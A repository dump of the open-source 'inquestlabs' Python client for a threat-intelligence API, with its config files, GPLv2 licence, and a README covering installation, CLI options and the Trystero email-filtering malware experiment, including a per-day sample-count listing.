├── .coveragerc ├── .github └── workflows │ └── workflow.yml ├── .gitignore ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── inquestlabs.py ├── pyproject.toml ├── requirements-testing.txt ├── requirements.txt └── tests ├── __init__.py ├── conftest.py ├── test_api.py ├── test_dfi_attributes.py ├── test_dfi_details.py ├── test_dfi_download.py ├── test_dfi_list.py ├── test_dfi_search.py ├── test_dfi_sources.py ├── test_dfi_upload.py ├── test_iocdb_list.py ├── test_iocdb_search.py ├── test_iocdb_sources.py ├── test_repdb_list.py ├── test_repdb_search.py ├── test_repdb_sources.py ├── test_stats.py ├── test_yara_b64re.py ├── test_yara_hexcase.py ├── test_yara_uint.py └── test_yara_widere.py /.coveragerc: -------------------------------------------------------------------------------- 1 | [report] 2 | 3 | exclude_lines = 4 | if __name__ == .__main__.: 5 | -------------------------------------------------------------------------------- /.github/workflows/workflow.yml: -------------------------------------------------------------------------------- 1 | name: tests 2 | 3 | on: [push] 4 | 5 | jobs: 6 | build: 7 | runs-on: ubuntu-20.04 8 | strategy: 9 | matrix: 10 | python-version: ["3.6", "3.7", "3.8", "3.9", "3.10", "3.11"] 11 | 12 | steps: 13 | - uses: actions/checkout@v3 14 | - name: Set up Python ${{ matrix.python-version }} 15 | uses: actions/setup-python@v4 16 | with: 17 | python-version: ${{ matrix.python-version }} 18 | - name: Install dependencies 19 | run: | 20 | pip install -r requirements.txt 21 | pip install -r requirements-testing.txt 22 | - name: Test scripts 23 | run: coverage run -m pytest -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | .vscode/ 7 | 8 | # C extensions 9 | *.so 10 | 11 | # Distribution / packaging 12 | .Python 13 | build/ 14 | develop-eggs/ 15 | dist/ 16 | downloads/ 17 | eggs/ 18 | .eggs/ 19 | lib/ 20 | lib64/ 21 | parts/ 22 | sdist/ 23 | var/ 24 | wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | .hypothesis/ 50 | .pytest_cache/ 51 | 52 | # Translations 53 | *.mo 54 | *.pot 55 | 56 | # Django stuff: 57 | *.log 58 | local_settings.py 59 | db.sqlite3 60 | 61 | # Flask stuff: 62 | instance/ 63 | .webassets-cache 64 | 65 | # Scrapy stuff: 66 | .scrapy 67 | 68 | # Sphinx documentation 69 | docs/_build/ 70 | 71 | # PyBuilder 72 | target/ 73 | 74 | # Jupyter Notebook 75 | .ipynb_checkpoints 76 | 77 | # pyenv 78 | .python-version 79 | 80 | # celery beat schedule file 81 | celerybeat-schedule 82 | 83 | # SageMath parsed files 84 | *.sage.py 85 | 86 | # vscode 87 | .vscode 88 | 89 | # Environments 90 | .env 91 | .venv 92 | env/ 93 | venv/ 94 | ENV/ 95 | env.bak/ 96 | venv.bak/ 97 | 98 | # Spyder project settings 99 | .spyderproject 100 | .spyproject 101 | 102 | # Rope project settings 103 | .ropeproject 104 | 105 | # mkdocs documentation 106 | /site 107 | 108 | # mypy 109 | .mypy_cache/ 110 | 111 | # pipenv 112 | Pipfile.lock 113 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | How to Contribute 2 | ================= 3 | 4 | Read the [LICENSE](LICENSE). By submitting a pull request, you agree to 5 | release your changes under this license. 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![Build Status](https://github.com/InQuest/python-inquestlabs/workflows/tests/badge.svg?branch=master) 2 | ![Developed by InQuest](https://inquest.net/images/inquest-badge.svg) 3 | ![PyPI Version](http://img.shields.io/pypi/v/inquestlabs.svg) 4 | 5 | # inquestlabs 6 | A Pythonic interface and command line tool for interacting with the 7 | [InQuest Labs](https://labs.inquest.net) API. Note that an API key is *not* required to interact with this API. An API key does provide the ability to increase their lookback, remove rate limitations, and download available samples. Users can sign in via OAuth to generate API keys. There is no cost to sign in. Authentication is supported via LinkedIn, Twitter, Google, and Github. 8 | 9 | Searchable API documentation with multi-language snippets: 10 | 11 | OpenAPI (Swagger) specification: 12 | 13 | ## Installation 14 | The recommended way to install InQuest Labs API CLI is by using [pipx](https://pypa.github.io/pipx/). This installs the package and all dependencies in an isolated virtual environment that can be invoked easily. 15 | 16 | ```bash 17 | pipx install inquestlabs 18 | ``` 19 | 20 | Alternately, or in cases where you want to use inquestlabs as a library, 21 | you can install it using [pip](https://pip.pypa.io/). 22 | 23 | ```bash 24 | pip install inquestlabs 25 | ``` 26 | 27 | ## InQuest Labs Command Line Driver 28 | To see the available command line tools and options, see the output of `inquestlabs --help`. It'll look something like this: 29 | 30 |
31 | View example 32 | 33 | ```bash 34 | InQuest Labs Command Line Driver 35 | 36 | Usage: 37 | inquestlabs [options] dfi list 38 | inquestlabs [options] dfi details [--attributes] 39 | inquestlabs [options] dfi download [--encrypt] 40 | inquestlabs [options] dfi attributes [--filter=] 41 | inquestlabs [options] dfi search (code|context|metadata|ocr) 42 | inquestlabs [options] dfi search (md5|sha1|sha256|sha512) 43 | inquestlabs [options] dfi search (domain|email|filename|filepath|ip|registry|url|xmpid) 44 | inquestlabs [options] dfi sources 45 | inquestlabs [options] dfi upload 46 | inquestlabs [options] iocdb list 47 | inquestlabs [options] iocdb search 48 | inquestlabs [options] iocdb sources 49 | inquestlabs [options] repdb list 50 | inquestlabs [options] repdb search 51 | inquestlabs [options] repdb sources 52 | inquestlabs [options] yara (b64re|base64re) [(--big-endian|--little-endian)] 53 | inquestlabs [options] yara hexcase 54 | inquestlabs [options] yara uint [--offset=] [--hex] 55 | inquestlabs [options] yara widere [(--big-endian|--little-endian)] 56 | inquestlabs [options] yara cidr 57 | inquestlabs [options] lookup ip 58 | inquestlabs [options] lookup domain 59 | inquestlabs [options] report 60 | inquestlabs [options] stats 61 | inquestlabs [options] setup 62 | inquestlabs [options] trystero list-days 63 | inquestlabs [options] trystero list-samples 64 | 65 | Options: 66 | --attributes Include attributes with DFI record. 67 | --api= Specify an API key. 68 | --big-endian Toggle big endian. 69 | --config= Configuration file with API key [default: ~/.iqlabskey]. 70 | --debug Docopt debugging. 71 | --encrypt Zip sample with password 'infected' before downloading. 72 | --filter= Filter by attributes type (domain, email, filename, filepath, ip, registry, url, xmpid) 73 | -h --help Show this screen. 74 | --hex Treat as hex bytes. 75 | -l --limits Show remaining API credits and limit reset window. 76 | --little-endian Toggle little endian. 77 | --offset= Specify an offset other than 0 for the trigger. 78 | --proxy= Intermediate proxy 79 | --timeout= Maximum amount of time to wait for IOC report. 80 | --verbose= Verbosity level, outputs to stderr [default: 0]. 81 | --version Show version. 82 | ``` 83 | 84 |
85 |
86 | 87 | ## InQuest Labs API Integrations 88 | 89 | The following third-party projects integrate with InQuest Labs: 90 | 91 | * [MalOverview](https://github.com/alexandreborges/malwoverview) from 92 | [@ale_sp_brazil](https://twitter.com/ale_sp_brazil). 93 | * [EML Analyzer](https://eml-analyzer.herokuapp.com/) from 94 | [@ninoseki](https://twitter.com/ninoseki). 95 | * ["Spoken" IOCs](https://github.com/safernandez666/IOC) from 96 | [@safernandez666](https://twitter.com/safernandez666). 97 | * [Axial R4PTOR](https://ax1al.com/projects/r4pt0r) from 98 | [@AXI4L](https://twitter.com/AXI4L). 99 | 100 | Get in touch or issue a pull request to get your project listed. 101 | 102 | ## The Trystero Project 103 | 104 | The vast majority of attacks (>90%) are email-borne. The "Trystero Project" is our code name for an experiment that we're actively conducting to measure the security efficacy of the two largest mail providers, Google and Microsoft, against real-world emerging malware. The basic idea is this... let's take real-world threats daily and loop it through the two most popular cloud email providers, Google and Microsoft. We'll monitor which samples make it to the inbox and compare the results over the time. You can read more, view graphs, explore data, and compare results at [InQuest Labs: Trystero Project](https://labs.inquest.net/trystero). If you're curious to explore the testing corpus further, see the following two command line options: 105 | 106 | ### List Trystero Days 107 | 108 | For a list of days we have ran the Trystero Project and the number of samples harvested for each day. Note that `first_record` denotes the earliest record (2020-08-09). 109 | 110 |
111 | View example 112 | 113 | ```bash 114 | $ inquestlabs trystero list-days | jq . 115 | { 116 | "2021-01-08": 27, 117 | "2021-01-09": 26, 118 | "2021-04-20": 47, 119 | "2020-12-31": 304, 120 | "2021-01-03": 21, 121 | "2021-01-01": 7, 122 | "2021-01-06": 35, 123 | "2021-01-07": 17, 124 | "2021-01-04": 17, 125 | "2021-01-05": 20, 126 | "2021-06-14": 8, 127 | "2021-07-27": 55, 128 | "2021-03-28": 17, 129 | "2021-03-29": 18, 130 | "2021-03-26": 269, 131 | "2021-03-27": 52, 132 | "2021-03-24": 169, 133 | "2021-03-25": 543, 134 | "2021-03-22": 5, 135 | "2021-03-23": 197, 136 | "2021-03-20": 28, 137 | "2021-03-21": 46, 138 | "2021-04-12": 5, 139 | "2021-04-13": 23, 140 | "2021-03-18": 142, 141 | "2021-04-11": 13, 142 | "2021-04-16": 28, 143 | "2021-04-17": 94, 144 | "2021-04-14": 30, 145 | "2021-04-15": 46, 146 | "2021-06-21": 9, 147 | "2021-04-18": 13, 148 | "2021-04-19": 16, 149 | "2021-04-07": 40, 150 | "2021-06-20": 33, 151 | "2021-07-11": 22, 152 | "2021-08-09": 22, 153 | "first_record": "2020-08-09", 154 | "2021-06-22": 23, 155 | "2021-05-20": 490, 156 | "2021-01-19": 139, 157 | "2021-01-18": 16, 158 | "2021-04-26": 11, 159 | "2020-12-20": 3, 160 | "2020-12-23": 124, 161 | "2021-05-07": 60, 162 | "2021-01-11": 42, 163 | "2021-01-10": 5, 164 | "2021-01-13": 4, 165 | "2021-01-15": 35, 166 | "2021-01-14": 115, 167 | "2021-01-17": 15, 168 | "2021-01-16": 26, 169 | "2021-07-10": 43, 170 | "2021-04-02": 117, 171 | "2021-06-24": 88, 172 | "2021-06-25": 67, 173 | "2021-04-05": 16, 174 | "2021-05-21": 741, 175 | "2021-06-26": 4, 176 | "2021-03-31": 54, 177 | "2021-03-30": 51, 178 | "2021-06-23": 48, 179 | "2021-04-04": 18, 180 | "2021-02-21": 9, 181 | "2021-02-20": 113, 182 | "2021-02-23": 47, 183 | "2021-02-22": 10, 184 | "2021-02-25": 235, 185 | "2021-02-24": 54, 186 | "2021-02-27": 39, 187 | "2021-02-26": 42, 188 | "2021-04-09": 15, 189 | "2021-02-28": 19, 190 | "2021-04-06": 32, 191 | "2021-07-22": 147, 192 | "2021-04-08": 42, 193 | "2021-05-22": 1314, 194 | "2021-04-24": 35, 195 | "2021-05-02": 22, 196 | "2021-01-28": 60, 197 | "2021-01-29": 183, 198 | "2020-11-06": 1, 199 | "2021-01-25": 19, 200 | "2021-01-26": 42, 201 | "2020-11-05": 2, 202 | "2021-01-20": 1168, 203 | "2020-11-03": 26, 204 | "2021-01-22": 516, 205 | "2021-01-23": 361, 206 | "2021-03-01": 12, 207 | "2021-03-02": 117, 208 | "2021-03-03": 31, 209 | "2021-03-04": 17, 210 | "2021-03-05": 11, 211 | "2021-03-06": 10, 212 | "2021-03-07": 9, 213 | "2021-03-08": 13, 214 | "2021-03-09": 19, 215 | "2021-04-03": 45, 216 | "2021-05-03": 7, 217 | "2021-02-14": 5, 218 | "2021-02-15": 8, 219 | "2021-02-16": 19, 220 | "2021-02-17": 426, 221 | "2021-02-10": 113, 222 | "2021-02-11": 107, 223 | "2021-02-12": 77, 224 | "2021-02-13": 67, 225 | "2021-02-18": 40, 226 | "2021-02-19": 121, 227 | "2021-05-24": 20, 228 | "2021-06-30": 64, 229 | "2021-08-05": 30, 230 | "2021-08-04": 406, 231 | "2021-08-07": 30, 232 | "2021-08-06": 49, 233 | "2021-08-01": 582, 234 | "2021-08-03": 154, 235 | "2021-08-02": 60, 236 | "2021-07-13": 17, 237 | "2021-01-31": 19, 238 | "2021-01-30": 144, 239 | "2021-05-05": 95, 240 | "2021-07-12": 174, 241 | "2020-11-15": 1, 242 | "2021-04-10": 24, 243 | "2021-03-17": 113, 244 | "2021-03-16": 92, 245 | "2021-02-09": 389, 246 | "2021-02-08": 26, 247 | "2021-03-13": 197, 248 | "2021-03-12": 147, 249 | "2020-08-28": 1, 250 | "2021-03-10": 595, 251 | "2021-02-03": 87, 252 | "2021-02-02": 48, 253 | "2021-02-01": 13, 254 | "2020-08-25": 26, 255 | "2021-02-07": 33, 256 | "2021-02-06": 27, 257 | "2021-02-05": 103, 258 | "2021-02-04": 141, 259 | "2021-05-28": 33, 260 | "2021-07-15": 51, 261 | "2021-06-06": 154, 262 | "2021-06-09": 33, 263 | "2021-07-14": 43, 264 | "2021-03-15": 26, 265 | "2021-06-08": 33, 266 | "2020-12-18": 55, 267 | "2020-12-19": 14, 268 | "2021-03-14": 26, 269 | "2021-08-10": 36, 270 | "2021-04-29": 122, 271 | "2020-12-11": 1, 272 | "2020-12-15": 4, 273 | "2020-12-16": 18, 274 | "2020-12-17": 22, 275 | "2021-05-19": 180, 276 | "2021-03-11": 168, 277 | "2020-11-26": 1, 278 | "2021-07-16": 16, 279 | "2021-05-27": 236, 280 | "2020-08-26": 22, 281 | "2021-05-06": 71, 282 | "2021-04-28": 51, 283 | "2020-08-27": 7, 284 | "2020-08-31": 1, 285 | "2020-08-24": 5, 286 | "2021-05-31": 16, 287 | "2021-05-30": 11, 288 | "2021-05-18": 242, 289 | "2020-09-22": 1, 290 | "2020-09-25": 1, 291 | "2020-09-26": 1, 292 | "2020-08-22": 63, 293 | "2021-06-07": 22, 294 | "2021-05-01": 20, 295 | "2020-08-23": 2, 296 | "2021-01-24": 35, 297 | "2021-06-27": 2, 298 | "2020-08-20": 26, 299 | "2020-12-07": 1, 300 | "2020-12-05": 6, 301 | "2020-12-04": 4, 302 | "2020-12-03": 3, 303 | "2021-01-27": 99, 304 | "2021-01-21": 73, 305 | "2021-07-09": 30, 306 | "2021-04-27": 35, 307 | "2021-07-29": 184, 308 | "2021-06-11": 30, 309 | "2021-05-26": 27, 310 | "2021-07-23": 54, 311 | "2021-07-20": 5, 312 | "2021-07-26": 17, 313 | "2021-06-12": 26, 314 | "2021-07-24": 7, 315 | "2021-07-04": 8, 316 | "2021-06-13": 9, 317 | "2021-05-23": 31, 318 | "2021-04-01": 47, 319 | "2021-06-15": 15, 320 | "2021-03-19": 189, 321 | "2021-07-07": 31, 322 | "2021-06-16": 10, 323 | "2021-06-05": 49, 324 | "2021-06-18": 20, 325 | "2021-04-25": 24, 326 | "2021-07-02": 50, 327 | "2021-06-19": 135, 328 | "2020-09-02": 3, 329 | "2020-09-01": 2, 330 | "2020-09-05": 1, 331 | "2020-09-04": 11, 332 | "2021-06-03": 36, 333 | "2021-07-30": 505, 334 | "2021-04-23": 48, 335 | "2020-08-19": 93, 336 | "2021-05-15": 38, 337 | "2021-06-02": 50, 338 | "2021-05-14": 575, 339 | "2020-12-29": 457, 340 | "2021-04-22": 61, 341 | "2021-05-17": 14, 342 | "2021-05-16": 4, 343 | "2021-05-04": 79, 344 | "2021-04-30": 288, 345 | "2021-06-01": 49, 346 | "2021-07-08": 46, 347 | "2021-05-13": 156, 348 | "2021-04-21": 75, 349 | "2021-07-05": 19, 350 | "2021-07-06": 23, 351 | "2021-05-12": 23, 352 | "2021-07-01": 64, 353 | "2020-08-21": 29, 354 | "2021-07-03": 44, 355 | "2021-06-29": 4, 356 | "2021-05-25": 83 357 | } 358 | ``` 359 | 360 |
361 |
362 | 363 | ### List Trystero Samples 364 | 365 | You can receive further details about each sample from any given daily corpus. Information included is similar to the output of `dfi list` with the addition of `bypasses` that denotes which provider was bypassed and `available_on_labs` which states the sample can be seen on [labs.inquest.net](https://labs.inquest.net/). 366 | 367 | 368 |
